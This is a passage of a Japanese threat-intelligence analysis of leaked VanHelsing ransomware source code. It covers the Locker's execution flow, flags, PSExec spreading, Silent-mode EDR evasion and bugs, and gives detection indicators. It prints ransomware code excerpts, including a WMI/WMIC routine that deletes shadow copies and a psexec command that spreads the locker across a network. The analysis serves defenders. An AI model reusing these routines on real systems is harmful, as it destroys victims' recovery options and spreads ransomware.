Scarlet Tactics

悪用厳禁

VanHelsing v1.0 Locker 技術解析

1. 本文書について

本文書は、VanHelsingランサムウェアのリークされたソースコードのうち、Lockerコンポーネント(ファイル暗号化モジュール)の技術解析である。

1.1 解析対象の位置づけ

VanHelsingのリークアーカイブには、以下の5コンポーネントのソースコードが含まれている。

# コンポーネント 役割 本文書の対象
1 Locker ファイル暗号化・ネットワーク拡散 本文書
2 Loader ペイロードの復号・メモリ内実行 VanHelsing v1.0 Loader 技術解析
3 Decrypter 暗号化ファイルの復号 VanHelsing v1.0 Decrypter 技術解析
4 Brewriter ブートレコード書き換え VanHelsing v1.0 Brewriter 技術解析
5 Builder ビルド・パッケージング・C2連携 VanHelsing v1.0 Builder 技術解析

1.2 Lockerの技術的特徴(要約)

項目 内容
開発言語 C++
暗号化方式 XChaCha20-Poly1305(ファイル暗号化)+ Curve25519(鍵交換)
暗号化ライブラリ libsodium
暗号化拡張子 .vanhelsing
ネットワーク拡散 SMB + PSExec
シャドウコピー削除 WMI経由
プロセス/サービス停止 184エントリのサービス + 44プロセス(10秒間隔で継続監視)
二重実行防止 グローバルミューテックス Global\VanHelsingLocker
身代金要求 README.txt + 壁紙変更(Tor .onionサイトへ誘導)

1.3 ソースファイル構成

Lockerコンポーネントは以下のファイルで構成される[1]。

ファイル 役割
main.cpp エントリポイント、実行フロー制御
common.h グローバル定数・変数宣言、プリプロセッサ定義
common.cpp 共通関数実装(引数解析、シャドウコピー削除、壁紙変更等)
encryption.h 暗号化クラス・構造体宣言
encryption.cpp ファイル暗号化エンジン本体
diskmanagment.h ディスク管理クラス宣言
diskmanagment.cpp ドライブ列挙、ディレクトリ探索、ブラックリスト処理
net.h / net.cpp ネットワーク探索・SMB拡散
psExec.h PSExecバイナリの埋め込みデータ(716KB)
process.h / processs.cpp プロセス終了・サービス停止
images.h 壁紙PNG画像の埋め込みデータ(31KB)

GLIMPSの分析によれば、バイナリには難読化やパッキングが一切施されていない("neither obfuscated nor packed")ため、リバースエンジニアリングが比較的容易である[2]。これはRaaSとしての開発効率を優先し、反解析技術への投資を後回しにした結果と考えられる。PDBパスがバイナリに残存していることからも、開発の成熟度が低いことが伺える。

開発アーティファクト — PDBパス残存

Check Point Researchが確認した2つのバリアントに異なるPDBパスが含まれている[3][4]:

# バリアント1 (Check Point)
C:\Users\ADMINI~1\AppData\Local\Temp\2\cd9563b4cbc415b3920633b93c0d351b\1-locker\Release\1-locker.pdb

# バリアント2 (GLIMPS)
C:\Users\ADMINI~1\AppData\Local\Temp\2\74edcda8581f9636c83352ad946821b0\1-locker\Release\1-locker.pdb

Temp\2\ 以下のランダムなハッシュ値(cd9563b4..., 74edcda8...)は、ビルダーが一時ディレクトリにソースを展開してコンパイルしている痕跡である。ADMINI~1 はWindows 8.3形式の短いファイル名で、ユーザー名が「Administrator」であることを示す。本来、リリースビルドではPDBパスを除去すべきだが、Visual Studioのデフォルト設定ではRelease構成でもPDB生成が有効になっている。これは脅威インテリジェンスの観点から、開発環境の特定や異なるバリアント間の関連付けに活用できる。

参考文献

[1] ソースコードディレクトリ: windows/builder/Release/VanHelsing/1-locker/
[2] https://www.glimps.re/en/resource/vanhelsing-our-cti-experts-publish-their-technicalanalysis/ (GLIMPS)
[3] https://research.checkpoint.com/2025/vanhelsing-new-raas-in-town/ (Check Point, 2025-03-24)
[4] GLIMPS分析レポートのPDBパス


2. エントリポイントと実行フロー

2.1 初期化シーケンス

VanHelsing Lockerは wWinMain() をエントリポイントとするWindows GUIアプリケーションとして実装されている[5]。GUIアプリケーションとしてコンパイルされることで、通常実行時にコンソールウィンドウが表示されない。これは、デスクトップ上でユーザーに気づかれずにバックグラウンドで動作するためのOPSEC上の選択である。-v(verbose)フラグが指定された場合にのみ AllocConsole() でコンソールを明示的に確保してデバッグ出力を表示する。

起動時の初期化は以下の順序で行われる。

2.1.1 libsodium初期化 (main.cpp:46-49)

if (sodium_init() == -1) {
    return EXIT_FAILURE;
}

libsodiumは、NaCl(Networking and Cryptography library)をベースとしたオープンソース暗号化ライブラリで、XChaCha20-Poly1305ストリーム暗号やCurve25519鍵交換などの現代的な暗号プリミティブを提供する。sodium_init() は内部で暗号学的に安全な疑似乱数生成器(CSPRNG)を初期化する。Windowsでは RtlGenRandom() がエントロピーソースとして使用される。この初期化が失敗するとファイル暗号化が不可能なため、即座に終了する。

OPSEC考察: libsodiumは正規のソフトウェアでも広く使用される暗号ライブラリであり、そのインポート自体は悪意の指標にならない。LockBitやNitrogen/LukaLockerなど他のランサムウェアもChaCha20 + Curve25519の組み合わせを採用しており[6]、これは暗号方式の選択としてはランサムウェアの業界標準になりつつある。AES-NIハードウェアアクセラレータの有無に関係なく高速に動作し、かつNIST標準のAESとは異なりサイドチャネル攻撃への耐性が高いことが選択理由として推測される。

2.1.2 コマンドライン解析 (main.cpp:51-54)

if (ParseArgs() == FALSE) {
    return EXIT_FAILURE;
}

ParseArgs() は20以上のフラグを解析する(第3章で詳述)。

バグ: ヘルプ文字列と実際のフラグ名の不一致

ヘルプ文字列(common.cpp:248-249)を見ると:

const WCHAR* Usage = L"VanHelsing Ransomeware usage\n"
    L"-h for help\n-v for verbose\n"
    L"--Password is required -- you can find password in guid txt file\n"
    L"-sftpPassword for spread over sftp\n"
    L"-smbPassword for spread over smb\n"
    L"-bypassAdmin for locking the target without admin privileges\n"
    L"-noLogs for stop logging\n"
    L"-nopriority for stop CPU and IO priority";

このヘルプには -sftpPassword, -smbPassword, -bypassAdmin が記載されているが、実際のParseArgs()に実装されているフラグは --spread-smb, --spread-vcenter, --no-admin である。さらに --Password は必須と記載されているが、実際にはコメントアウトされている(common.cpp:280-316)。これはLockerの初期バージョンのヘルプが更新されずに残っている痕跡であり、急速な開発反復(Check Pointが5日間隔の2バリアントを確認[7])を裏付ける。フォレンジック観点では、コメントアウトされたコードからLockerの開発履歴を推測できる。

2.1.3 二重実行防止 (main.cpp:57-64)

if (isForce == FALSE) {
    HANDLE hMutex = CreateMutexA(nullptr, TRUE, "Global\\VanHelsingLocker");
    if (GetLastError() == ERROR_ALREADY_EXISTS) {
        return EXIT_FAILURE;
    }
}

"Global\\" プレフィックスにより、RDPセッション・コンソールセッション間でも排他制御が有効になる。通常のミューテックス名("Global\\" なし)はセッションローカルで、RDP経由で別セッションからLockerを実行すると二重暗号化が発生する。

OPSEC考察 — なぜ --Force フラグが存在するか: ミューテックスによる二重実行防止は標準的なランサムウェアの手法だが、VanHelsingは --Force フラグで明示的にこれを無効化できる。これは以下のシナリオを想定していると考えられる:

  • PSExecによるリモート拡散で、先行するLockerプロセスがハングした場合に再実行が必要
  • アフィリエイトがテスト環境で繰り返し実行する必要がある場合
  • 暗号化が中断された後、未暗号化ファイルに対して再実行する場合

SOC検知ポイント: ミューテックス名 "Global\\VanHelsingLocker" はVanHelsingの確定的IOCである。Sysmonのカーネルオブジェクト監視やEDRでミューテックス作成を監視できる。ただし、ソースコードが公開されているため、派生バリアントではミューテックス名が変更される可能性が高い。

2.1.4 MonitorAndKillスレッドの起動 (main.cpp:67)

CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)MonitorAndKill, NULL, 0, NULL);

暗号化処理に先立ち、セキュリティソフト・バックアップソフトを継続的に停止するバックグラウンドスレッドを起動する。このスレッドが暗号化処理より先に起動されるのは意図的な設計であり、暗号化開始前にEDRやバックアップエージェントを無力化する必要があるためである(第8章で詳述)。

2.2 実行モード分岐

初期化完了後、3つの実行パスに分岐する。

wWinMain()
  │
  ├── [isSpreadSmb == TRUE] ──→ SMB拡散モード
  │     │  暗号化対象の選定とリモート実行を統合
  │     ├── psexec.exe を %TEMP% に書き出し
  │     ├── EnumHosts() → ValidateSmbHosts() で/24スキャン
  │     ├── ローカル共有からペイロード配置基点を選定
  │     ├── vanlocker.exe を共有にコピー
  │     └── 各ホストで psexec 実行
  │         cmd: psexec -accepteula \\IP -c -f path -d --no-mounted --no-network
  │         --no-mounted --no-network で再帰拡散を防止
  │
  ├── [isSpreadVcenter == TRUE] ──→ 未実装(空のif文)
  │
  └── [デフォルト] ──→ 通常暗号化モード
        ├── SetSelfPriority()  ← REALTIME_PRIORITY_CLASS
        ├── checkCurrentprivileges()  ← 非管理者なら終了
        ├── PurgeShadowCopies()  ← WMI/WMIC経由
        ├── X25519公開鍵デコード
        │
        ├── [--Driver]     → 指定ドライブのみ
        ├── [--Directory]  → 指定ディレクトリのみ
        ├── [--File]       → 単一ファイル
        └── [指定なし]     → 全ドライブ暗号化
              ├── NetLock() スレッド(ネットワーク共有暗号化)
              ├── EnumDrivers() → DirectorySearch() ← 再帰暗号化
              ├── [--Silent] → 2回目: SilentMode ← EDR回避
              └── Local+Net完了待ち → README.txt + 壁紙変更

設計上の注目点 — SMB拡散と通常暗号化の排他性

--spread-smb が指定された場合、LockerはSMB拡散処理のみを実行し、自身のローカルファイル暗号化は行わない(main.cpp:70-207で分岐した後、通常暗号化パスには到達しない)。リモートホストで実行されるLockerが --no-mounted --no-network 付きでローカル暗号化を実行する設計である。つまり、攻撃チェーンは以下のように分離されている:

  1. 司令塔ホスト: --spread-smb でネットワーク全体にLockerを配布・実行
  2. 各被害ホスト: --no-mounted --no-network でローカルファイルのみ暗号化

この分離により、ネットワークスキャンのトラフィックは司令塔ホストからのみ発生し、各被害ホストは個別にスキャンを行わない。これはネットワーク監視の観点からスキャンの発信元を1箇所に限定する効果がある。

2.3 通常暗号化モードの詳細フロー

CPU優先度の最大化 (common.cpp:663-666)

VOID SetSelfPriority()
{
    SetPriorityClass(GetCurrentProcess(), REALTIME_PRIORITY_CLASS);
}

REALTIME_PRIORITY_CLASS はWindowsの最高プロセス優先度で、OSカーネルやデバイスドライバと同等のレベルである。暗号化処理が他のすべてのプロセスより優先的にCPU時間を獲得するため、暗号化速度が最大化される。一方で、システム全体の応答性が著しく低下する(マウス操作すらカクつく)。

OPSEC考察: REALTIME_PRIORITY_CLASS は通常のアプリケーションでは使用されないため、プロセス優先度の監視で容易に異常検知できる。Check Pointは --no-priority フラグの存在を「リソースハイジャックを回避するオプション」として指摘している[7]。ペネトレーションテスト等でステルス性を重視する場合は --no-priority を指定し、速度を犠牲にして検知リスクを下げることができる。Picus Securityはこれを T1496 (Resource Hijacking) にマッピングしている[9]。

管理者権限チェック (common.cpp:654-661)

BOOL checkCurrentprivileges()
{
    if (IsUserAnAdmin() == TRUE)
    {
        return TRUE;
    }
    return FALSE;
}

IsUserAnAdmin() は現在のユーザートークンがローカルAdministratorsグループのメンバーかを確認する簡易的なAPIである。

なぜ管理者権限が必要か: 以下の操作に管理者権限が必須: - シャドウコピー削除: WMI経由のVSS操作はSE_BACKUP_PRIVILEGE等が必要 - 壁紙画像の書き込み: C:\Windows\Web\ は管理者のみ書き込み可能 - レジストリ変更: HKEY_LOCAL_MACHINEへの書き込み - サービス停止: SCMへのアクセスに管理者権限が必要 - REALTIME_PRIORITY_CLASS: この優先度の設定にはSE_INC_BASE_PRIORITY_PRIVILEGEが必要

--no-admin フラグでこのチェックをスキップできるが、上記の機能が制限されるため暗号化の効果が大幅に低下する。FortiGuardの分析では -bypassAdmin としてこのオプションが言及されている(ヘルプ文字列のフラグ名)[10]。

シャドウコピー削除 (common.cpp:668-810)

シャドウコピー削除はLockerの中で最も複雑な処理であり、COM→WMI→WQLクエリ→WMIC.exeという多段階の呼び出しチェーンで実装されている。以下にコア部分を示す。

DWORD WINAPI PurgeShadowCopies(LPVOID Lparam)
{
    // COM初期化(マルチスレッド対応)
    hres = CoInitializeEx(0, COINIT_MULTITHREADED);
    hres = CoInitializeSecurity(NULL, -1, NULL, NULL,
        RPC_C_AUTHN_LEVEL_DEFAULT, RPC_C_IMP_LEVEL_IMPERSONATE,
        NULL, EOAC_NONE, NULL);

    // 64bitアーキテクチャ対応のWMIコンテキスト設定
    SYSTEM_INFO SysInfo;
    GetNativeSystemInfo(&SysInfo);
    IWbemContext* pContext = NULL;
    if (SysInfo.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64) {
        CoCreateInstance(CLSID_WbemContext, 0, CLSCTX_INPROC_SERVER,
                        IID_IWbemContext, (LPVOID*)&pContext);
        // __ProviderArchitecture = 64 を設定
        // → 32bitプロセスから64bit WMIプロバイダーにアクセス可能にする
    }

    // WMI接続
    CoCreateInstance(CLSID_WbemLocator, 0, CLSCTX_INPROC_SERVER,
                    IID_IWbemLocator, (LPVOID*)&pLoc);
    BSTR Root = SysAllocString(L"ROOT\\CIMV2");
    pLoc->ConnectServer(Root, NULL, NULL, 0, NULL, 0, pContext, &pSvc);

    // WQLクエリでシャドウコピーを列挙
    BSTR Query = SysAllocString(L"SELECT * FROM Win32_ShadowCopy");
    pSvc->ExecQuery(WQL, Query, WBEM_FLAG_FORWARD_ONLY |
                    WBEM_FLAG_RETURN_IMMEDIATELY, NULL, &pEnumerator);

    // 各シャドウコピーをWMIC.exeで個別削除
    while (pEnumerator) {
        pEnumerator->Next(WBEM_INFINITE, 1, &pclsObj, &uReturn);
        if (0 == uReturn) break;

        pclsObj->Get(L"ID", 0, &vtProp, 0, 0);

        WCHAR temp_wimicmd[MAX_PATH];
        wsprintf(temp_wimicmd,
            L"cmd.exe /c C:\\Windows\\System32\\wbem\\WMIC.exe "
            L"shadowcopy where \"ID='%s'\" delete", vtProp.bstrVal);

        // WOW64ファイルシステムリダイレクションを無効化して実行
        LPVOID Old;
        Wow64DisableWow64FsRedirection(&Old);
        Exec(temp_wimicmd);
        Wow64RevertWow64FsRedirection(Old);
    }
}

なぜvssadmin.exeではなくWMI + WMIC.exeを使用するのか

多くのランサムウェア(Babuk、LockBit等)は vssadmin delete shadows /all /quiet という単純なコマンドでシャドウコピーを削除する。VanHelsingがWMI→WMIC.exeという迂回路を選択した理由は、vssadmin.exeのコマンドライン監視を回避するためと推測される。vssadmin delete shadows はSplunkやSigmaの定番検知ルールに含まれており、多くのSOCが監視している。WMI経由のアプローチは検知ルールのカバレッジが相対的に低い。

ただし、結局 WMIC.exe shadowcopy ... deletecmd.exe /c で実行しているため、プロセス作成監視(Sysmon EventID 1)で WMIC.exe + shadowcopy + delete のコマンドラインパターンは捕捉可能。Splunkの "Deleting Shadow Copies" ルールはWMIC.exe経由も検知対象に含めている[11]。

Wow64DisableWow64FsRedirection の意味

Wow64DisableWow64FsRedirection() / Wow64RevertWow64FsRedirection() のペアは、32bitプロセスが64bit Windows上で System32 フォルダにアクセスする際のファイルシステムリダイレクション(System32SysWOW64 への自動リダイレクト)を一時的に無効化する。これにより、32bitのLockerバイナリから64bitの C:\Windows\System32\wbem\WMIC.exe に確実にアクセスできる。リダイレクションが有効なままでは SysWOW64\wbem\WMIC.exe(32bit版)にリダイレクトされ、WMIクエリが正しく動作しない場合がある。

さらに __ProviderArchitecture = 64 のWMIコンテキスト設定も同様の目的で、32bitプロセスから64bit WMIプロバイダーにアクセスするための互換性対応である。これはビルダーが32bitバイナリとしてLockerをコンパイルしていることを示唆する。

バグ: Exec()関数のメモリリーク

シャドウコピー削除で使用される Exec() 関数(common.cpp:202-211)にはメモリリークが存在する:

VOID Exec(WCHAR* cmd)
{
    LPSTARTUPINFOW si = new STARTUPINFOW();      // ヒープに確保
    LPPROCESS_INFORMATION pi = new PROCESS_INFORMATION();  // ヒープに確保

    CreateProcessW(NULL, cmd, NULL, NULL, FALSE, 0, NULL, NULL, si, pi);
    WaitForSingleObject(pi->hProcess, INFINITE);
    return;
    // si, pi が delete されていない(メモリリーク)
    // pi->hProcess, pi->hThread がCloseHandleされていない(ハンドルリーク)
}

STARTUPINFOWPROCESS_INFORMATIONnew で確保しているが、関数終了時に delete されていない。また、CreateProcessW が返すプロセスハンドルとスレッドハンドルも CloseHandle されていない。シャドウコピーが大量にある環境ではこのリークが蓄積するが、Lockerの実行時間は通常短いため実用上の影響は限定的。

2.4 Silentモードの戦術的意図

--Silent フラグが指定された場合、Lockerは通常暗号化を完了した後に、再度全ドライブを走査してファイル名に .vanhelsing を付与する処理を実行する(main.cpp:406-433)。

// main.cpp:406-433 — Silentモード(2回目の走査)
if(isSilent == TRUE) {
    drivers* drivers_list = _diskmanagment->EnumDrivers();
    for (INT dcounter = 0; dcounter < drivers_list->drivers_count; dcounter++) {
        _diskmanagment->DirectorySearch(
            drivers_list->drivers_list[dcounter],
            PUBLIC_KEY,
            L"Silent"  // ← encryptFileではなくSilentModeが呼ばれる
        );
    }
}

SilentModeの実体(encryption.cpp:294-318):

BOOL encryption::SilentMode(LPVOID lparam)
{
    enecryptionParam* _enecryptionParam = reinterpret_cast<enecryptionParam*>(lparam);

    if (isSilent == TRUE)  // 二重チェック(冗長)
    {
        WCHAR temp_new_file_path[1560 * 4];
        StringCchPrintf(temp_new_file_path, ARRAYSIZE(temp_new_file_path),
                       L"%s.vanhelsing", _enecryptionParam->file_path);

        // 暗号化なし — ファイルリネームのみ
        MoveFileExW(_enecryptionParam->file_path, temp_new_file_path,
                    MOVEFILE_REPLACE_EXISTING | MOVEFILE_COPY_ALLOWED);
    }
    return TRUE;
}

OPSEC考察 — EDR回避の二段階戦略

Check Point Researchはこれを「EDR回避のための二段階暗号化戦略」と分析している[7]。意図は以下の通り:

  1. 第一段階(Normal): ファイル内容を暗号化 + 新しいファイル名(.vanhelsing付き)で出力 + 元ファイル削除。この段階でEDRが「ファイル暗号化」パターンを検知して遮断する可能性がある。
  2. 第二段階(Silent): 暗号化せず、ファイル名変更(.vanhelsing 追加)のみ。第一段階でEDRに遮断されたファイルに対して、せめて拡張子変更だけでも完了させる。拡張子変更はファイル内容の変更を伴わないため、EDRの暗号化検知パターン(短時間の大量ファイル読み書き)に引っかかりにくい。

ただし、この戦略には問題がある。第一段階で暗号化に成功したファイルは既に .vanhelsing 拡張子が付いており、第二段階のブラックリストチェックで .vanhelsing が除外対象に含まれているため、二重処理は発生しない。つまりSilentモードは、第一段階で暗号化に失敗した(EDRに遮断された等)ファイルにのみ作用するフォールバック機構として設計されている。

バグ: isSilentの未初期化

isSilent はcommon.cpp:166で以下のように宣言されている:

BOOL isSilent;    // デフォルト値が設定されていない

他のフラグ(isForce, isNoLocal 等)は FALSE で初期化されているが、isSilent だけ初期化子がない。C++のグローバル変数はゼロ初期化されるため、実際にはFALSE(0)として動作するが、これはコーディングの一貫性の欠如を示す。

参考文献

[5] main.cpp:42-461
[6] https://www.glimps.re/en/resource/vanhelsing-our-cti-experts-publish-their-technicalanalysis/ (GLIMPS)
[7] https://research.checkpoint.com/2025/vanhelsing-new-raas-in-town/ (Check Point, 2025-03-24)
[8] GLIMPS分析レポートのPDBパス
[9] https://www.picussecurity.com/resource/multi-platform-vanhelsing-ransomware-raas-analysis (Picus Security)
[10] https://www.fortinet.com/blog/threat-research/ransomware-roundup-vanhelsing (FortiGuard Labs)
[11] https://research.splunk.com/stories/vanhelsing_ransomware/ (Splunk Security Research)


3. コマンドライン引数とモード

VanHelsing Lockerは20のコマンドライン引数を受け付ける[12]。これにより、アフィリエイトは攻撃環境に応じてLockerの挙動を詳細にカスタマイズできる。

3.1 引数解析の実装と問題点

引数解析は ParseArgs() 関数(common.cpp:242-488)で行われる:

BOOL ParseArgs()
{
    int argc;
    LPWSTR* argv = CommandLineToArgvW(GetCommandLineW(), &argc);
    if (!argv) {
        MessageBoxW(NULL, L"Failed to parse command line", L"Error",
                    MB_OK | MB_ICONERROR);
        return FALSE;
    }
    // 以下、各フラグの存在チェック...
}

各フラグの確認には IsArgExists()GetArgsValue() が使用される:

BOOL IsArgExists(INT argc, LPWSTR* argv, const WCHAR* argname)
{
    for (int i = 0; i < argc; i++) {
        if (lstrcmpW(argv[i], argname) == 0) return TRUE;
    }
    return FALSE;
}

std::wstring GetArgsValue(INT argc, LPWSTR* argv, const WCHAR* argname)
{
    for (int i = 0; i < argc; i++) {
        if (lstrcmpW(argv[i], argname) == 0) {
            std::wstring argValue;
            argValue.append(argv[i + 1]);  // i+1の境界チェックなし
            return argValue;
        }
    }
    return NULL;
}

バグ: GetArgsValue()の境界外アクセス

argv[i + 1] にアクセスする際、i + 1 < argc の境界チェックが行われていない。--Driver がコマンドラインの最後の引数として指定された場合(例: vanlocker.exe --Driver)、argv[argc] への不正アクセスが発生し、クラッシュまたは未定義動作となる。

バグ: --Driverのデバッグ出力が間違った変数を参照

// common.cpp:346-354
if (IsArgExists(argc, argv, L"--Driver") == TRUE) {
    target_driver = GetArgsValue(argc, argv, L"--Driver");
    isTargetDriver = TRUE;

    std::wstringstream debug;
    debug << L"[*] Target driver :  " << target_directory << " \n";
    //                                   target_driver ではなく target_directory
}

--File のデバッグ出力も同様に target_directory を参照している(common.cpp:372)。これはコピー&ペーストに起因するバグで、デバッグ出力を有効にした際に混乱を招く。

3.2 全引数一覧

基本制御

引数 デフォルト 機能 行番号
-h ヘルプ表示→終了。AllocConsole() でコンソールを確保してから表示 260
-v OFF デバッグ出力有効化。コンソールを確保し Debug=TRUE に設定 271
--Force OFF ミューテックスチェックをスキップ 377
--no-logs OFF Debug=FALSE に再設定(-v を上書き) 459

OPSEC考察: --no-logs-v との組み合わせで意味を持つ。-v でデバッグ出力を有効にした後、--no-logs で無効化すると、ParseArgs内の後続のフラグ処理のデバッグ出力が抑制される。ただし、printf/wprintf による直接出力(シャドウコピー削除のID出力等)は Debug フラグに依存しない箇所があり、完全なログ抑制にはならない。

暗号化対象の指定

引数 デフォルト 機能 行番号
--Driver <パス> 全ドライブ 暗号化対象を指定ドライブに限定 346
--Directory <パス> 全ドライブ 暗号化対象を指定ディレクトリに限定 356
--File <パス> 全ドライブ 単一ファイルの暗号化 366

これらは論理的に排他であるべきだが、ParseArgs()は if-else ではなく独立した if 文で処理しているため、複数フラグを同時指定すると全てのグローバル変数が設定される。ただし main.cpp の分岐処理は if/else if で排他的に処理されるため、実際にはDriverが最優先で評価される。

機能無効化(--no-* フラグ群)

引数 デフォルト 機能 行番号
--no-priority OFF REALTIME_PRIORITY_CLASSをスキップ 395
--no-wallpaper OFF 壁紙変更・アイコン・README配置をスキップ 404
--no-local OFF ローカルドライブの暗号化をスキップ 413
--no-mounted OFF DRIVE_REMOTE(ネットワークドライブ)を除外 422
--no-network OFF ネットワーク共有の探索・暗号化をスキップ 431
--no-autostart OFF 自動起動設定をスキップ(AddToStartup()がコメントアウト済みのため事実上無効) 386
--no-admin OFF 管理者権限チェックをスキップ 468

OPSEC考察 — --no-*フラグ群の実用的意味: これらのフラグ群はアフィリエイトが攻撃の「うるささ」(noisiness)をコントロールするためのダイヤルとして機能する。例えば、ステルス性を重視するシナリオでは --no-priority --no-wallpaper --no-logs を指定し、速度を重視するシナリオではデフォルト(全機能有効)で実行する。--no-local + --no-mounted は暗号化対象をネットワーク共有のみに限定し、ローカルファイルに手を付けずに共有データだけを暗号化する攻撃パターンを可能にする。

拡散機能

引数 デフォルト 機能 行番号
--spread-smb OFF SMB + PSExec拡散を有効化 440
--spread-vcenter OFF vCenter拡散を有効化(未実装 449

特殊機能

引数 デフォルト 機能 行番号
--Skipshadow OFF シャドウコピー削除をスキップ 318
--MbrLock OFF MBRロック有効化(未実装 327
--System OFF システムプロセス実行フラグ(使用箇所なし) 337
--Silent OFF Silentモード(二段階暗号化) 477

未実装フラグの意味: --spread-vcenter--MbrLock が空の実装であること、ヘルプ文字列が古いフラグ名を記載していること、--Password 認証がコメントアウトされていることは、いずれもLockerが活発に開発中の段階であることを示す。BleepingComputerの報告によれば、リーク時点でMBRロッカーは「開発中のカスタムブートローダー」として存在していた[19]。

3.3 コメントアウトされた--Password認証

common.cpp:280-316には、コメントアウトされたパスワード認証機能がある:

//if (IsArgExists(argc, argv, L"--Password") == TRUE)
//{
//    std::wstring password = GetArgsValue(argc, argv, L"--Password");
//    if(!password.empty())
//    {
//        if(lstrcmpW(password.c_str(), HASHED_PASSWORD) != 0)
//        {
//            DebugVerbose((WCHAR*)L"Wrong password\n", TRUE);
//            return FALSE;
//        }
//    }
//    else
//    {
//        DebugVerbose((WCHAR*)L"Empty password\n", TRUE);
//        return FALSE;
//    }
//}

HASHED_PASSWORD 定数とBLAKE2ハッシュ関数(common.cpp:844-862)が存在することから、当初はLockerの実行にパスワード認証を要求する設計だったことがわかる。これはRaaSプラットフォームにおけるセーフガード機構で、漏洩したバイナリが未承認の第三者に悪用されることを防ぐ目的がある。他のRaaS(LockBitなど)でも同様のアクセストークン機能が確認されている。

この機能がコメントアウトされた理由は不明だが、以下が推測される:

  • アフィリエイトからの「手間がかかる」というフィードバック
  • ビルダーがパスワードの埋め込みに対応しきれなかった
  • 開発初期段階のため後回しにされた

3.4 PSExec拡散時のリモートコマンド

リモートホストで実行されるLockerのコマンドライン(main.cpp:180付近):

cmd.exe /c %TEMP%\psexec.exe -accepteula \\<IP> -c -f \\<共有>\vanlocker.exe -d --no-mounted --no-network < NUL

--no-mounted --no-network の付与は再帰拡散防止として第2章で説明したが、注目すべきは --Skipshadow が付与されていない点である。つまり、リモートホストでもシャドウコピー削除が実行される。これは各ホストの復旧手段を個別に破壊する意図的な設計と考えられる。

参考文献

[12] common.cpp:242-488
[13] common.cpp:280-316
[14] https://research.checkpoint.com/2025/vanhelsing-new-raas-in-town/ (Check Point, 2025-03-24)
[15] common.cpp:175-200
[16] common.cpp:346-354, 366-374
[17] https://www.fortinet.com/blog/threat-research/ransomware-roundup-vanhelsing (FortiGuard Labs)
[18] https://research.splunk.com/stories/vanhelsing_ransomware/ (Splunk Security Research)
[19] https://www.bleepingcomputer.com/news/security/vanhelsing-ransomware-builder-leaked-on-hacking-forum/ (BleepingComputer)


4. 設定・定数(common.h)

common.hはLockerのすべてのグローバル定数・変数を集約したヘッダーファイルである[20]。ビルダーコンポーネントがビルド時にプレースホルダを攻撃者固有の値に置換してコンパイルする。

4.1 ビルダーが置換するプレースホルダ

#define X25519_PUBLIC_KEY "keyhere"   // Curve25519公開鍵(HEX 64文字に置換)
#define TICKET_ID "ticketId"          // 被害者識別チケットID(ユニーク値に置換)

これらはビルダーがコンパイル前にソースコード内のテキストを直接置換する方式である(バイナリパッチではない)。GLIMPSの分析ではチェックポイントが確認したサンプルの公開鍵が 9ba9e6fb08e013dd3e30f03564295a761204a33385e59d08681e4d2d89f41a32 であることが報告されている[21]。

OPSEC考察: 各アフィリエイトに固有の公開鍵が割り当てられるため、復号には対応する秘密鍵が必要となり、アフィリエイトごとに身代金の受け取りが分離される。仮にあるアフィリエイトの秘密鍵が法執行機関に押収されても、他のアフィリエイトの被害者ファイルは復号できない。

4.2 リンクライブラリとその攻撃チェーン上の役割

#pragma comment(lib, "ole32")          // COM → WMIシャドウコピー削除
#pragma comment(lib, "Wbemuuid.lib")   // WMI GUID → シャドウコピー削除
#pragma comment(lib, "ws2_32.lib")     // Winsock → SMBポートスキャン
#pragma comment(lib, "Netapi32.lib")   // NetShareEnum → SMB共有列挙
#pragma comment(lib, "libsodium.lib")  // 暗号化全般
#pragma comment(lib, "Shlwapi.lib")    // StrStrIW → ブラックリスト判定
#pragma comment(lib, "mpr.lib")        // ネットワークリソース操作

GLIMPSの分析でも NETAPI32.dll, WS2_32.dll, ADVAPI32.dll のインポートが確認されている[21]。これらのDLL依存はIATベースの静的検知に利用でき、特に NETAPI32.dll(NetShareEnum)+ WS2_32.dll(ソケット)+ libsodium(暗号化)の組み合わせは、ネットワーク拡散機能を持つランサムウェアの特徴的なパターンである。

4.3 レジストリパス定義と拡張子バグ

#define REGISTERY_VH_ICON_PATH  L"Software\\Classes\\.vanlocker\\DefaultIcon"
#define REGISTERY_DESKTOP_WALLPAPER_PATH  L"Control Panel\\Desktop"

バグ: .vanlocker vs .vanhelsing の拡張子不一致

暗号化ファイルには .vanhelsing 拡張子が付与される(encryption.cpp:31)が、アイコン登録は .vanlocker に対して行われる。このため、暗号化されたファイルにカスタムアイコンが表示されない。Check Pointはこれを明確にバグとして指摘しており、さらに重大な副作用として以下を挙げている[22]:

ブラックリストは .vanlocker.vanhelsing の両方を除外するが、暗号化ファイルの実際の拡張子は .vanhelsing である。もし2回目のLocker実行が行われた場合、.vanhelsing ファイルは除外されるが、.vanlocker ファイルは存在しないため問題ない。しかし、別バリアントが .vanlocker を使用する可能性がある場合、二重暗号化の防止が不完全となる。

4.4 埋め込みバイナリデータ

ファイル データ種別 サイズ 用途
images.h PNG画像 31,412バイト 壁紙 (vhlocker.png)
images.h ICO画像 アイコン (vhlocker.ico)
psExec.h PEバイナリ 716,176バイト Sysinternals PSExec.exe

OPSEC考察 — PSExec埋め込みの是非

PSExec.exeを716KBの生バイナリとしてソースコードに埋め込んでいる。圧縮や暗号化は一切されていないため:

  • バイナリの静的シグネチャでPSExecの存在が即座に検出可能
  • ファイルに書き出された時点でEDRがPSExec特有のコードセクションを検知
  • IMPHASHやSSDeepによるfuzzy matchingでも検出される

より洗練されたランサムウェア(BlackCat等)は、PSExecの機能を独自に再実装するか、Windows APIを直接使用してリモートサービス作成を行う。VanHelsingが正規のPSExecバイナリをそのまま使用していることは、開発の容易さを優先しOPSEC性を犠牲にした設計判断である。

4.5 コメントアウトされたスレッドプール

common.cpp:171-173に以下のコメントアウトされたコードがある:

//int threads_num = 0;
//int max_threads_num = 5;

暗号化処理のスレッドプール(同時実行スレッド数を制限する機構)が検討されていたが、実装されなかった痕跡である。現在の実装ではファイル暗号化は同期的(1ファイルずつ順次処理)に行われており、マルチスレッド暗号化は未実装である。LockBit 3.0等がI/Oコンプリーションポートベースの高度な並列暗号化を実装しているのと対照的に、VanHelsingの暗号化速度は限定的である。

参考文献

[20] common.h, common.cpp:142-170
[21] https://www.glimps.re/en/resource/vanhelsing-our-cti-experts-publish-their-technicalanalysis/ (GLIMPS)
[22] https://research.checkpoint.com/2025/vanhelsing-new-raas-in-town/ (Check Point, 2025-03-24)


5. 暗号化エンジン

